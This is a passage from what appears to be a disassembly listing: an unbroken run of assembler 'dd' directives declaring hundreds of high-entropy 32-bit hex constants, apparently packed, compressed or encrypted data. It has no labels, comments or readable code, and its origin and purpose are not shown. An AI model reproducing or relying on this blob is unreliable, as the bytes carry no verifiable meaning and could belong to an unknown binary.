		dd 0CA261F6Dh, 52C29F07h, 7D528772h, 8606B082h,	927204Ah
		dd 12106857h, 0D8E92418h, 75252C4Fh, 2AFEA704h,	0CE9721C7h
		dd 91626B42h, 3B749AA5h, 0B3B23F52h, 0A534A515h, 99ED614Bh
		dd 0A4A0046Fh, 0E3892553h, 407ED91Ah, 0F23E9C3h, 32FF6631h
		dd 81FE0C0Ah, 8E99CDBDh, 379368DCh, 0C8758186h,	0A1F4C3A8h
		dd 0AF2C3A4Dh, 368527E9h, 0DD6DE6E8h, 8991B409h, 12F865DFh
		dd 36E2B047h, 199B576Fh, 43E89C24h, 417892C0h, 55CA242Ch
		dd 0B96AD391h, 0BFC82163h, 2D67269h, 8E643AC1h,	29E05F28h
		dd 70C4C63h, 0E8F02965h, 770B9238h, 12885BD8h, 472C01F5h
		dd 4005DC44h, 960BF2FCh, 1447790h, 8B69486h, 5B1AC125h
		dd 31FB52A5h, 0E2C2C885h, 0CF0101BFh, 5704A14Bh, 0CBEB19E9h
		dd 0C4E86B3Dh, 2C0ED840h, 8DB93150h, 736EA02h, 0CC5A4012h
		dd 0BC66503Ah, 64FD4E58h, 39A9A4EBh, 0CC205241h, 0D0431328h
		dd 0DA7D1F6Bh, 60C01888h, 4D24B145h, 0DA26925Eh, 0B0DD0158h
		dd 50684059h, 79B5513Ch, 0A2804A25h, 561DA2D0h,	105C4A5Dh
		dd 0C1800310h, 0A9C9FE50h, 0C5F592E1h, 5028E3Ch, 6A5D38D5h
		dd 60A86D40h, 817D2201h, 52407CE5h, 0E0CDCB20h,	46133E15h
		dd 666F502h, 0D2D456D2h, 73004013h, 48EE2D04h, 21B30999h
		dd 165A3042h, 0E954500Ah, 0A1BBB3F9h, 91C393B8h, 38E6A119h
		dd 7B0493A4h, 0F2134C12h, 0A55C8B86h, 74A5845Fh, 121C77C8h
		dd 0F371C968h, 5351085h, 0E2E1E916h, 0B713937Dh, 0B3247B89h
		dd 3E32452Eh, 0ABA8DB25h, 5FD56C7Eh, 0F1B90A68h, 0F7B3C5B7h
		dd 486F1057h, 0EB010940h, 78B8C85Dh, 0C0747D65h, 2E447E0Ch
		dd 2B76604h, 71BE8E82h,	1FED2022h, 4BEE8807h, 0A1E51294h
		dd 0BAC3032Dh, 0FD691347h, 937CE25Fh, 77F77831h, 59C82800h
		dd 0F1E766E2h, 35FEF7EDh, 5F776AA0h, 0BB2FBC02h, 40AC9186h
		dd 275EF3CCh, 6500D801h, 0DE94131h, 0A088DAF3h,	494C2808h
		dd 0F82AB5DCh, 5F5F49FEh, 0C88E0196h, 0D941C05Eh, 0D4453255h
		dd 0BF1736B0h, 0F5E9076h, 713A141Eh, 7E8555DFh,	4AC4BE0Eh
		dd 0E6C10920h, 6F5EE902h, 0AF584109h, 0FD1824B7h, 414A52E9h
		dd 4051B83Bh, 90B6601Dh, 0A329F90Bh, 0A9CFE521h, 16120932h
		dd 5B029BC8h, 0BDB6ABC4h, 0D4C61BD2h, 0CACBCF94h, 0C2045252h
		dd 90194686h, 0A2DA6E0h, 0FDA690Ah, 6CE90593h, 0E1150149h
		dd 6045C031h, 4718BEF0h, 0E4186076h, 0F0835C67h, 0B9CBF202h
		dd 2A68D9A2h, 7290535Dh, 0C4462D48h, 48FC3AE9h,	1C15B907h
		dd 0CE21B02Bh, 0BA3A5259h, 31EC166Dh, 0E96917B1h, 4498C202h
		dd 14417E39h, 0EA290141h, 1BA8ECDFh, 91ECF5Bh, 9A36ECE9h
		dd 0A1924099h, 1313D310h, 6EB300CBh, 140D01Dh, 6859CB05h
		dd 594C41DAh, 16C42456h, 52487177h, 38901CC5h, 2DF00106h
		dd 414CE296h, 9EF9B489h, 4F42F710h, 15CFD02h, 2D955E4Ch
		dd 68865BC5h, 28C13ED9h, 0B0E4D073h, 0C1BC4982h, 0C730E22Dh
		dd 8380293Dh, 660224ECh, 0BD0FBAAEh, 89142DF2h,	585D3A1Fh
		dd 74D70F4Dh, 7C691AB7h, 5CE98BFDh, 2ED81869h, 0E1BF844Ah
		dd 94685282h, 0B08E982Ah, 0D0F632EEh, 0A250F73Ah, 9C52D996h
		dd 8115E242h, 0FA043A29h, 0E1F764BDh, 13695124h, 802F2D20h
		dd 387BBDAEh, 9C11466h,	7DE908EDh, 8B2D1B40h, 28E75913h
		dd 4B0DB2h, 3176D699h, 0EA76BD18h, 12A1307h, 0E8305AD5h
		dd 0C01D75E9h, 2406C16Dh, 19905BDDh, 0A03D3A20h, 34554051h
		dd 1397026h, 2D3F94A6h,	56B46047h, 3FC83B26h, 62088D24h
		dd 0C1281782h, 2E7A2FFh, 6657E833h, 4EBB5E0Fh, 3CD0DDD0h
		dd 0C534DB8Fh, 71E8C244h, 0C04DA013h, 98531140h, 25119690h
		dd 0E020274Ch, 7388487Dh, 14065E78h, 0F806661Ch, 0E81FC014h
		dd 6609E07Dh, 79E1D13Bh, 72E50299h, 7748FAF1h, 4F9E5DCCh
		dd 614EF952h, 60581670h, 0D401C9CFh, 49022E4Ah,	0F1E4D9F7h
		dd 0D66703DCh, 6EEE950h, 90DBCF3Bh, 806142C1h, 0C9535107h
		dd 46613A50h, 33936158h, 0AC4101D2h, 6F74FA5Eh,	0BFEA1C00h
		dd 9864A978h, 88400B43h, 5750A557h, 0D132C2A4h,	0AB284D67h
		dd 657E8BB5h, 215C00CDh, 37A8E9D0h, 57404A91h, 0E608B9BFh
		dd 1F7F84Ah, 5CB34489h,	8272A6E9h, 20152C22h, 4AB87CC3h
		dd 0AE8A9495h, 8BF91A69h, 89E3D08Ah, 0B3F12313h, 826090F5h
		dd 0B9FCE92Ch, 4C8BE159h, 8702EB80h, 8E0A0D15h,	80165508h
		dd 14F903EEh, 0F0588901h, 64A64088h, 5E4F664Ah,	5C3DC5Bh
		dd 90483CCCh, 0AC061968h, 670F09DEh, 2F80h, 1DE6597Ah
		dd 6802BEB8h, 0C8016F86h, 0F2078F2Dh, 0E5BF8D00h, 185CB50Dh
		dd 9408EFC1h, 50A15609h, 4EB56C40h, 7DB1CFCCh, 829D4B99h
		dd 6765525Ah, 1009B2Fh,	0A0091C18h, 4019E914h, 6C66687Dh
		dd 0B280A4B9h, 0E9D1883Bh, 543940ACh, 4BD85F4Eh, 4E3298C7h
		dd 436089D6h, 7070508Dh, 0BABCE48Bh, 29E0ED38h,	0F7015FFEh
		dd 0EDD85E4Eh, 335A2CD7h, 6311BC9h, 95C0D2Eh, 421FFE02h
		dd 0BA3E036h, 6BE82E6Ch, 851BFB1h, 0B5514F6Bh, 54686AF8h
		dd 104F6A49h, 2A50DF87h, 0CB960D3h, 0F26CB2BEh,	5749217Ah
		dd 0B3D14EE5h, 0C623555Ch, 8EA0F88Fh, 56FDBD75h, 4D70CD62h
		dd 42E7F945h, 0E1D40D98h, 0C613DE68h, 0FE882881h, 0B75AF0C8h
		dd 65F58DA7h, 1CFEC558h, 0D95E3F03h, 19554028h,	2B76B551h
		dd 9FE6CD3Ch, 0E50301C5h, 0D9D5F6DCh, 0F5F877EDh, 0EB28245Fh
		dd 0B1518072h, 0FED9F639h, 0E1D0C904h, 90A077E9h, 6B57A8B9h
		dd 0EAD28439h, 8A99D10Ah, 0C0C1FE85h, 0E1311B87h, 0AC318007h
		dd 0C0214F30h, 59E2814Bh, 4B2C0D2Eh, 602FAB42h,	9304B596h
		dd 0B9881DD8h, 5958E20Ch, 424C4A40h, 0FE29A106h, 5E5FFD91h
		dd 523E458Dh, 17EE16BAh, 3D22A3ECh, 95275Dh, 3E54BBF7h
		dd 0FE7D51D3h, 7A1255D6h, 45BC0182h, 0B73260E6h, 487C8E11h
		dd 0DEF129ADh, 0CA5F8983h, 7ABAAA20h, 0C264716h, 5524904Ah
		dd 1585F201h, 9F30572Eh, 3F370197h, 4EBD554Fh, 0E938C43Ah
		dd 0F3C2B34Fh, 1297615Eh, 56595400h, 0B60D6FCh,	2C5BF8F7h
		dd 0D8283E9Dh, 0A53A9F13h, 166532DCh, 43B3B878h, 7FA56838h
		dd 10C38E12h, 3F0744D1h
		dd 57F0B530h, 4A0E58F1h, 9034B079h, 6F104CECh, 86634606h
		dd 0E903DC5Ch, 290B0717h, 7691B2D6h, 6FA92D37h,	0ED9AF8BAh
		dd 2CFBE841h, 6BB3149Ah, 44022DB6h, 685D09C6h, 32225040h
		dd 31061123h, 21335954h, 0B6C5E10h, 0C6503B68h,	6FE00BC5h
		dd 0AF095CABh, 0D11624E4h, 0FD0ACA87h, 8084ADBFh, 588401C1h
		dd 0FED967C8h, 5606B731h, 6650BCC0h, 4C49D2F1h,	856882CAh
		dd 0BE1E7139h, 0DD643A25h, 7DAD8145h, 0AFB4D2CCh, 0DF145318h
		dd 72970009h, 43E18141h, 1D4CCB57h, 4BAA0083h, 93E94ACFh
		dd 8B8DB6F3h, 50C513D4h, 4F2D0AA8h, 0A12E1227h,	0F0296681h
		dd 98ABB6A0h, 0C167206Dh, 2C94BE02h, 54316F91h,	41DD4C20h
		dd 91CC2B4Fh, 16229EBCh, 4B5BCB5Dh, 79C853C2h, 0E3694E89h
		dd 31663704h, 28D148BEh, 0CEE9240h, 327E3B3Ch, 5A62E607h
		dd 1C04EBE9h, 930CE806h, 31205CDDh, 9D6C5EC3h, 3585EC0Ch
		dd 429DBABDh, 5A9B56AEh, 8F8C6CD9h, 555FF847h, 0E2105F65h
		dd 4ABE63D9h, 0A0F58D1Bh, 2B7FBA99h, 0B83E189Dh, 7F56B2EAh
		dd 17124EE6h, 7204DDD3h, 5D9A49A4h, 0E10AE5D2h,	169C80Dh
		dd 870E7F13h, 0B1468296h, 836087C1h, 2921253Dh,	0D7CD5FFAh
		dd 0A877346Bh, 0E9C3A04Fh, 0FB64D69h, 0E58CA892h, 2CCD6073h
		dd 94E5959h, 79F1FEB6h,	7F607A3Ch, 3F01C3C5h, 29081E9Eh
		dd 85039EBh, 50A2BF5Dh,	9464D28Ah, 39250E7Bh, 0B094E41Eh
		dd 451707EAh, 392112F8h, 0E574CF05h, 0BEE4705Ah, 0C6F72AB7h
		dd 0FC95E8ADh, 2A6880B5h, 0D2A54754h, 0A625AA99h, 9ED7BFD8h
		dd 25E8300Ah, 69137441h, 63F46852h, 269B30E9h, 32C48028h
		dd 11F4FE73h, 0E94EF06Bh, 4F6C551h, 0F629BD5Dh,	68C30D1Ah
		dd 443E3A05h, 4A081886h, 0B680482Ch, 0B2DEE230h, 57D283EDh
		dd 8749B5E2h, 9C08027h,	11E50B9h, 1E8C3C46h, 0EF2B55Bh
		dd 5AD1301Bh, 7DABC80Fh, 65F259E2h, 9287343Dh, 0B9D77583h
		dd 6A476211h, 0CBC9D8h,	560B2825h, 6BEFC7BEh, 5FB71F48h
		dd 42811985h, 21705A66h, 7298988Eh, 0ECB20751h,	0CE03E2C0h
		dd 0B6F80473h, 0D9209146h, 0C3A6CF81h, 68165CB0h, 38B30295h
		dd 142C1510h, 78C08F64h, 0A4B2E7AAh, 83A8A554h,	0C25D4464h
		dd 24AE8A3h, 3C680B46h,	52FB9C40h, 0F631358h, 0C70DD0EDh
		dd 77D4E914h, 41A0E0B4h, 4064F471h, 0C15BF40Dh,	0F5CC4AE7h
		dd 2BF10017h, 5649B850h, 2D7260BDh, 70208605h, 0DE09C729h
		dd 0F8584A84h, 0C09A4A9Ah, 0E6885B33h, 62E55856h, 400402A6h
		dd 0E82CD833h, 0F3DA24E9h, 3F2BCFC9h, 0FDC17761h, 0D7012A08h
		dd 0AF12C6F1h, 59CE6889h, 0B972EB46h, 80A1E99h,	3340EA21h
		dd 2FA839h, 6E0E902Dh, 3B09E916h, 0B4642BC6h, 0F19E9F66h
		dd 8504524Ah, 59FD5451h, 0A2EA26C4h, 0BABB00E6h, 0F731F66Ah
		dd 0C0498D3h, 2A755C7Eh, 2E264D0Ch, 0DD1350C7h,	64100104h
		dd 384999E7h, 0F0A3E984h, 830F2DA9h, 4B7F8432h,	50E66122h
		dd 4367BA98h, 5713D2C6h, 0F9B21440h, 0C9DE891Dh, 53A8C4B5h
		dd 0B3ED8CCBh, 6AFEE01Fh, 50423F65h, 0D61082B2h, 0B753010Fh
		dd 6E7C01Bh, 0F15D0774h, 0EE58C104h, 64F73D73h,	5DD4EF36h
		dd 0CD167CF6h, 488C7646h, 85BA735Ch, 66805AD6h,	14B74EEAh
		dd 88F70134h, 0AC5E0840h, 0B70948Fh, 0F6F23BE9h, 53525000h
		dd 0B15123B3h, 4A7AFC54h, 5EA5F32Eh, 0E0B7C740h, 4DE9FE88h
		dd 0BA036992h, 0A7F4F3FFh, 9B7094D2h, 7416899Dh, 1251CB5Ch
		dd 685807B0h, 0D92B4B44h, 99392E5Fh, 0B31E3FAAh, 16102C5Dh
		dd 3E248D49h, 0C25DD032h, 993E14ADh, 82A01537h,	6866AC02h
		dd 0FD8B77F7h, 9381AD62h, 0BE4D145Ch, 1FD50A0Ch, 0ED00CE6Bh
		dd 5D78651Bh, 0B0C29529h, 0BE590804h, 0B15C7128h, 0B2CE422Eh
		dd 6DC10104h, 0EA5F68Bh, 36256764h, 8621C621h, 0D7E2598h
		dd 0F94A6B26h, 0B45FF926h, 0A3228802h, 5F4410Ch, 0BC6F66C8h
		dd 0B65282C3h, 6641F69Dh, 14B328F0h, 2A6F129h, 20FA1899h
		dd 4497B25Eh, 0EA4E54A5h, 5BDF2F01h, 4E2D44C5h,	16989FB8h
		dd 396644E9h, 4192EF1Dh, 0BFE48802h, 0B8DCB542h, 897D48E5h
		dd 2DCA8DE1h, 5368A331h, 0C493ECD2h, 31F5CE1h, 6E8C0C8h
		dd 84A77D2h, 0BA7CE0CAh, 5E5EF2C2h, 2C53514Ch, 7A68C034h
		dd 0D212C2Fh, 6EAC15Ah,	82D97D32h, 0F9B442E9h, 0BC6A34A1h
		dd 0AFD15B6Ah, 403B17ECh, 5A197BCAh, 20975D63h,	300BF11Bh
		dd 67E92E4Fh, 0D7F6807Fh, 8004EFC0h, 1027C737h,	509BF750h
		dd 12FC7288h, 0B953E9E2h, 0FAC324FFh, 0D2A5C026h, 0B1A32646h
		dd 830747F4h, 850A3F27h, 0CD7977EAh, 41FC2912h,	1CBB0841h
		dd 2A08218Dh, 4ACE6D0Ch, 29025F8Ah, 705F68C2h, 0FFC06B5Ch
		dd 9015276Fh, 55C10941h, 9D00527Bh, 669B3A93h, 0A69530B2h
		dd 1EA551B0h, 87CE780h,	58273158h, 5E9AC34Ah, 0B7055D36h
		dd 8AB52CE4h, 0F03D0B2h, 31BEE5BDh, 0E934A0FCh,	9440D32Fh
		dd 34DC2016h, 0D9685912h, 0C5D79650h, 67BD40E9h, 5659E702h
		dd 62E3292Ch, 9EA3FCBDh, 0F3F86309h, 0F703BBF2h, 64A51B4Ch
		dd 0BF700C02h, 50570301h, 38AE1DFAh, 21942F51h,	0F82D4B0h
		dd 0B7726162h, 0D48E92B5h, 4044424h, 0C340B0B9h, 1A7CCB2Eh
		dd 4C8C4358h, 486700A1h, 0EDC17B8Dh, 9DE91B03h,	0D7B1F508h
		dd 40450305h, 3AE5AE1Eh, 13371B16h, 12027914h, 4A04146Fh
		dd 52027681h, 0B7C8102Eh, 0C73DC200h, 0D1310D7Ch, 872EE92Fh
		dd 686F461Dh, 9012823h,	6D951E92h, 95003C29h, 46AB2BD6h
		dd 4AD18739h, 8ACC1A1h,	5C591AEDh, 9627E140h, 26D380B5h
		dd 0C0FEB0FAh, 8A7A73E6h, 88B50121h, 0E6270831h, 13FBFC99h
		dd 0AD15A1E9h, 0F7020773h, 735081D6h, 0A06A9037h, 2DEC6EB6h
		dd 0A489FA03h, 2F31F080h, 294A120Ah, 5B089B10h,	5662228Ah
		dd 76C38706h, 89FB89Dh,	24054568h, 27381034h, 0A4C9C45Dh
		dd 0BE7992Fh, 0FF48D2BEh, 0D182C539h, 0F4D36435h, 0AF40C1B7h
		dd 8E05045Dh, 0C208A44Eh, 35A3E13h, 6D330220h, 520D0631h
		dd 435E841Bh, 0F147A909h, 52F897BBh, 8BACA938h,	32DD0E29h
		dd 0A88C95FDh, 0E25CD1FFh, 6CE5118Eh, 6D16C700h, 0F901BD1Dh
		dd 0D75FFDB8h, 6321E295h, 0A8044B23h, 0D00F7380h, 0A9890C9Ah
		dd 0BE7660E2h, 65610010h, 24448154h, 46060608h,	7429783Ch
		dd 0A46CF810h, 955E7D0Ch, 0BA52B002h, 28011F87h, 597D5A18h
		dd 9BE92D53h, 84BDC180h, 2BF9BF38h, 22EC938Dh, 3F6F022Fh
		dd 72EFF581h, 0CDB03FE3h, 5B244C33h, 0C540956Eh, 48BB20BAh
		dd 0E4039B0Bh, 0E9134D1Ch, 607FD3D3h, 0EF15EA0Fh, 0E39A440Ah
		dd 9D800BBCh, 14D35966h, 0AED9E8A8h, 9109DA83h,	159DCFF2h
		dd 0DC25B85Fh, 2B474CADh, 6B101982h, 61C38244h,	8FE9F2F7h
		dd 0F9D133Bh, 0CE6709E6h, 0C4B41350h, 0E9DCE4B0h, 2AD29C4Eh
		dd 2F378230h, 8E5705FAh, 618B04DEh, 27C03723h, 4EDC9E75h
		dd 0D7EBF4C8h, 0B81793B9h, 698B68C4h, 46665B2Dh, 0A19FC29Dh
		dd 0DE31EBF7h, 884F3C9h, 0EC1ABDE9h, 1B2DB224h,	0B27760D2h
		dd 9A2D5E27h, 0C4D1FD34h, 1EA42B95h, 0F56C5A54h, 943DD000h
		dd 1326B824h, 0F04F663Bh, 89B7792Fh, 28E1C519h,	370326CDh
		dd 67AF439Bh, 5ACC213Ch, 5266D6C1h, 79FEEAD4h, 76D578CAh
		dd 80CD015Ah, 0EDC071F5h, 970C9E04h, 32FA387Bh,	68054CEBh
		dd 75C3311Bh, 24307A66h, 8584ADD1h, 0C1547749h,	807052D4h
		dd 0B32DD8F7h, 0BB0E3922h
		dd 30798B38h, 3863FD11h, 4880D5BCh, 24E7B560h, 0E92C285Ah
		dd 1DADB25Dh, 0D2C855ADh, 0C3FE0127h, 0CC07EBC0h, 0F61E03E3h
		dd 11C80DBh, 2872F3C0h,	98045BD9h, 0C6D2E8Dh, 121A88D3h
		dd 0D42E30A4h, 0A1DE9E1h, 55C9826Ch, 2202D902h,	40749477h
		dd 0F24663Ch, 344564B3h, 58019D49h, 9526BE12h, 0E909E55Bh
		dd 16D4C190h, 150B0CBh,	0A9049FD1h, 0FC942202h,	786527E2h
		dd 5F9EE941h, 1499BB00h, 274F25Ch, 6B15B9EBh, 5052D040h
		dd 125D08C3h, 5FE1DAE9h, 13D0DEFFh, 5BEF4764h, 2C0DF81h
		dd 0B8507AFBh, 721DBA00h, 2AF02579h, 0C1141677h, 0D5EA0BE0h
		dd 99ED9F8h, 8D20EE51h,	405FF85h, 0AE54439h, 3A935BBEh
		dd 1368504Dh, 0EC9628C1h, 2104448Ah, 3B0712F2h,	4E69C445h
		dd 57C56576h, 0C92CED5Ch, 6B43F90Ch, 6A2822D3h,	0F29DE695h
		dd 0E691B3h, 79BB53E2h,	3602D843h, 0E902E3C1h, 0B797F04Fh
		dd 0B1EAB305h, 72283B76h, 61D65945h, 9404716h, 23E6AC3Fh
		dd 37242DFEh, 7227FB5Ch, 0DA29045Bh, 0E4D798E9h, 0DF4FF4FFh
		dd 6F30169Dh, 760982BAh, 2D094150h, 9215630h, 59D82067h
		dd 3207E6C0h, 1582C6FEh, 9F867C56h, 25D0CE79h, 0F790CB60h
		dd 6880C6F9h, 0CC174B41h, 1BDACBFh, 0C8280190h,	3E982DAh
		dd 0C15B00F0h, 0FB50CE8h, 0C6185DEFh, 62E46808h, 0E03EB512h
		dd 42015D02h, 4240FCD1h, 0ECA5DAD3h, 7BA2FDEDh,	4309694Eh
		dd 4DB39058h, 0ABA59F2Ah, 95CED59h, 7C4C7068h, 54CA628Bh
		dd 3BEAE00Fh, 31840FC2h, 0BAD9B655h, 0C9007C36h, 95B4F8C8h
		dd 127D166h, 2C8365FEh,	35E9D06Dh, 2F20AB5Ah, 7450BE66h
		dd 0EEFBB842h, 8EE28C1h, 0D0725DE7h, 0FF23532Fh, 5EE15854h
		dd 55BA0242h, 0FF34FE10h, 6511A082h, 0F8D7CE6Ch, 80F9507h
		dd 5002CA97h, 0E8AA9793h, 60BD3960h, 3425752Ch,	49723F89h
		dd 330218Bh, 1FBBB433h,	0F075D649h, 0FD7AB7B8h,	4F56E65Dh
		dd 14AC4DC1h, 20795F02h, 9C51CFCCh, 22F30D8Eh, 511FD969h
		dd 8CC101CEh, 59AE91EAh, 40D6FECFh, 33205E17h, 9406D004h
		dd 924EBD2Ch, 0B06AF8D5h, 9D08E5C1h, 15559780h,	81287970h
		dd 0DF3093E9h, 633C0C3Dh, 0D03EFD82h, 9103F1B6h, 8FCDC725h
		dd 7EEE27FAh, 0C16911A0h, 60864E6h, 1063C705h, 4E58B376h
		dd 598E62C0h, 4C015EE3h, 31B1C5CEh, 6C12AF5h, 0E2F0EDA9h
		dd 386A0029h, 3042C75Dh, 2D7A7472h, 8C5A873Bh, 0DFFEB83h
		dd 0C7E5FD81h, 40D609FDh, 3C4E32E1h, 0B7DC2B0Ch, 80831693h
		dd 0D1EF873Fh, 0DF3BF7E4h, 0F1032AC1h, 64E3280Fh, 0E95E8231h
		dd 2653D6DCh, 0E868E20Fh, 7889C87Eh, 0A122C4B0h, 0C52B0D4Bh
		dd 80BDB2DFh, 511261B8h, 40480C07h, 0E90F6535h,	52A3B649h
		dd 0E768C242h, 4DB14C63h, 0AC3BB225h, 0E14A4215h, 0F706EA04h
		dd 0C147B5DAh, 7943946h, 8AE6C20h, 0DE15BBB2h, 0A002C557h
		dd 681E6648h, 6E573B77h, 5E5D2A82h, 2C3584Eh, 0A23B824h
		dd 2706BF14h, 0D334D2EDh, 4840BD0Ch, 0BAD620FFh, 0BF00A0F8h
		dd 3631252Ah, 590CF502h, 10DCBD81h, 7E7220D5h, 60A0B155h
		dd 1B1C9EADh, 0AEBE21D9h, 0BF815A27h, 4CED31D5h, 0BBF813E8h
		dd 2A152604h, 4EE19F83h, 0D3E03052h, 0D84236B4h, 2110A62h
		dd 20CB3F2Ah, 830034D6h, 572D01C0h, 0F3DD2665h,	0B4231667h
		dd 42404F80h, 0E3810043h, 26740B5Ah, 0EBB8D3F7h, 8E91E9D2h
		dd 330203BAh, 0E8AB859h, 7FCABF68h, 0EBB171A5h,	0AD09CCF1h
		dd 891E51A8h, 0D1980C6Fh, 280B6855h, 0A542AE0Dh, 0FD206F44h
		dd 4C0A216Eh, 0F64ABF35h, 208C85A3h, 3185EDACh,	68F490D2h
		dd 0E98050D1h, 0B2544ABCh, 0D35A8937h, 0A9322FD6h, 0F925DCDEh
		dd 0B0E942FEh, 0F581BDDEh, 45792E67h, 4C7F1EDh,	47C125E8h
		dd 0E001AF97h, 8287CDEh, 0F36C0E7Bh, 0EB48FDA0h, 23B506E9h
		dd 4AACC187h, 53D0F442h, 20951EFEh, 30B2C203h, 5D5231C8h
		dd 481ABB1Ah, 89043C91h, 0EB0908A3h, 0F34043B3h, 0F77938F3h
		dd 88889FADh, 87D126AEh, 3F68F180h, 0F67F1639h,	0C3FC8803h
		dd 0B2E5A351h, 0FAEAC0EAh, 91209F48h, 2A9A6806h, 5344AAB4h
		dd 18807E80h, 271BB066h, 0D971E32Ch, 0D4D11A2Dh, 813C59D2h
		dd 73E6B8C9h, 802F4BA5h, 6DCA3530h, 553D9000h, 0FA0B9EBDh
		dd 48F3985Ah, 0B203D003h, 4D702278h, 3B95CDB8h,	165DD44Ch
		dd 4C89313Eh, 0D3A771E0h, 684A308Eh, 42AB7EFDh,	1B570DC2h
		dd 2AAFC143h, 417C1F76h, 0DE5C423Ah, 0EE8107F6h, 70BE2864h
		dd 2672A7EDh, 8E090A3Ch, 52FC5B4Ah, 0CF6C9840h,	0E94B1262h
		dd 286EA1C3h, 48C0A480h, 505638A4h, 0B50FC877h,	0DA256813h
		dd 0C858A454h, 56BE32AEh, 46869183h, 0EEF867C3h, 0E9254E5Dh
		dd 0F62F8910h, 4837141h, 786F61EAh, 525B00D9h, 202F79B6h
		dd 4CA15FEEh, 11F8B59h,	8128D2DDh, 3EA8D3ABh, 0A6BB20F2h
		dd 5309A996h, 1C788655h, 0A6E09DDFh, 5F694243h,	3E940479h
		dd 0E9D2A7ECh, 0E1401298h, 68C22AE8h, 9BF9253Ah, 531E8B24h
		dd 9622D9E5h, 615D91ACh, 0E25802F8h, 46E568B7h,	2BFE881h
		dd 6864C92Ch, 2C796E5Ah, 41C3089Fh, 0F5D629E5h,	4AC3E0C3h
		dd 0EB146244h, 412EE619h, 0F7B450C4h, 0B9CD3030h, 5F16DB64h
		dd 29BAC594h, 8D992AF9h, 4116297Ah, 131583EFh, 0B545C8EBh
		dd 8868BE2Bh, 0E98502C7h, 0CFCF62Eh, 523B60E4h,	0C81D6850h
		dd 73A74366h, 0D8F70955h, 0C235DF60h, 6DE4C909h, 31BEC050h
		dd 6AD00926h, 6DA3FDE9h, 1CBA01B4h, 2D05BD58h, 0CDC03FBh
		dd 36EB7C81h, 0EF183B29h, 0A5AFA741h, 48B86680h, 651383B1h
		dd 0C945BC55h, 4F1FF00Dh, 8140F05Eh, 7301EF28h,	89C7D561h
		dd 9CF35FFBh, 2CDE75ECh, 6D910AACh, 0DF464229h,	74F1F602h
		dd 68CC02D9h, 234E0BF9h, 34B5A090h, 3561A02Ah, 49D396C0h
		dd 0E7678806h, 566EA19Eh, 0C237A288h, 1DA968F1h, 0B4059EE6h
		dd 4BCC8087h, 487BE982h, 0E06CBA7Eh, 9E744C1Bh,	7A0FC726h
		dd 0FB6A0F7Ch, 3C0B8120h, 587D1B3Fh, 703909Dh, 7FD42160h
		dd 6BD19931h, 2D0D144h,	90AD2373h, 0E71159EAh, 0B9525B25h
		dd 0F5091C12h, 6B0920B8h, 0C806B55Eh, 96BE99A5h, 0B1D1D364h
		dd 286DA4C0h, 0B83C403Ch, 0EE8C245Dh, 0C27F3181h, 400FA952h
		dd 4CBAFB12h, 8AEE59Fh,	81015273h, 4B6840CEh, 1DF6E520h
		dd 0AC7B07C0h, 875D26EBh, 375DEF01h, 4A02A5F7h,	9B553FFh
		dd 0E4FB2BE1h, 7155618Bh, 0BBEA4E5Ch, 545663C0h, 3F5198D1h
		dd 520AF971h, 5F718B2Bh, 401EC805h, 227D44ABh, 80560B08h
		dd 52375804h, 0A068011Ch, 5E3A3F8Bh, 0F749FAE9h, 164551BFh
		dd 55C392C4h, 5947C541h, 0D760392Ah, 4965EDE8h,	0CD4AB766h
		dd 0C5803F3Dh, 99143B68h, 5702BC0Bh, 5F631F3Fh,	6E86D841h
		dd 5DACF484h, 8492D3DEh, 0CC9E04CCh, 1F68024Fh,	8D465Bh
		dd 47B75350h, 1DE9F888h, 1379C249h, 0AC605B31h,	0B6346F2h
		dd 0C519E96Dh, 0C59FCA64h, 8C5C647Ah, 0ED2068D4h, 28E91529h
		dd 5A0FC90Ch, 0F80E372Ch, 4C9C04D3h, 0D3590A56h, 5F4FAD18h
		dd 5EC16B4Fh, 972DE6F0h, 0B329E6Bh, 2A57E95Fh, 0A351F810h
		dd 0FEAC991h, 0F908CD35h, 55D16CBh, 0AB0B95D5h,	0B601F33Ch
		dd 0A3ADBB10h, 89265E14h, 0DE896B5Dh, 0B1A4855Bh, 2040C2A1h
		dd 1DD808BEh, 72E3C10Fh, 0FC400206h, 0B32C77F0h, 4227B841h
		dd 0B9014353h, 8B81619Ch, 941FBAC3h, 8F643E56h,	0BAB969D8h
		dd 0EE8016F4h, 0A312774Dh
		dd 0C6E9DACEh, 608370AEh, 0D7425991h, 50000BC2h, 12060559h
		dd 9D4BDB3Ah, 675451E2h, 0C05827D1h, 17B9BE49h,	0D019071Bh
		dd 0D71FFBACh, 0F0680C42h, 0AD5C9E0Ah, 63085E79h, 2663272Fh
		dd 58CBA995h, 654A2D53h, 25F21195h, 5042595Eh, 3A9DCADFh
		dd 6F9FFE69h, 88E10CCAh, 6809A243h, 0AAC5F8FAh,	4464D97Bh
		dd 0CC5A4983h, 2C16208Ch, 9F8B79B0h, 5E752009h,	26507CFEh
		dd 25A60219h, 10C1D301h, 0EBA307C3h, 0F406207Bh, 0B151990Fh
		dd 9F187A7h, 828EC1F3h,	614256CBh, 7FD82058h, 9A9C2C2Ch
		dd 1661CC9h, 4657DDF3h,	12681FBFh, 5F0BFB7Ch, 70B70F5Eh
		dd 0F57926Fh, 1B04D8F6h, 3480E84Eh, 58C6200Ch, 75E6801Ch
		dd 0E92C05FBh, 0CCD3B405h, 1532B368h, 0AC3F9073h, 0D1F7CF0Dh
		dd 20E96C08h, 2FC1B04Eh, 3E29A7DFh, 8D5DD481h, 590B2057h
		dd 1DAE3D12h, 43CD5F01h, 4B3B376Dh, 9562C6AFh, 0D0568C0h
		dd 0F8728F0Eh, 633AA006h, 1357D29h, 1A265EC7h, 0ADAFD0E9h
		dd 7ED582Fh, 0EC3F6BCAh, 7BE2601Bh, 82F3AE23h, 0E32BD418h
		dd 34D08038h, 1736010Ah, 631CBFE9h, 9DED453Bh, 0FCEF5C16h
		dd 86F5165Dh, 0F31D02BBh, 0EDEF74h, 54473357h, 0ECE9FD01h
		dd 1232B849h, 9DCC1DC4h, 0B9079531h, 5C32F664h,	210A06Eh
		dd 0E0FE2CC8h, 2668534Ah, 60DC25C2h, 7FE921B1h,	10CEAB6h
		dd 9E5BBDD8h, 585450F6h, 5A6228BEh, 0EE81011Fh,	0E7A5F1DAh
		dd 0A2C8C6B0h, 0E9CA5806h, 1232D18h, 6A0F09EFh,	30D7F745h
		dd 3B17EE52h, 5D0312BAh, 0F0B36242h, 0C59CD29h,	5EDC14Dh
		dd 21656FEh, 0E753B830h, 60AF82F0h, 18F2574Dh, 0B304CA69h
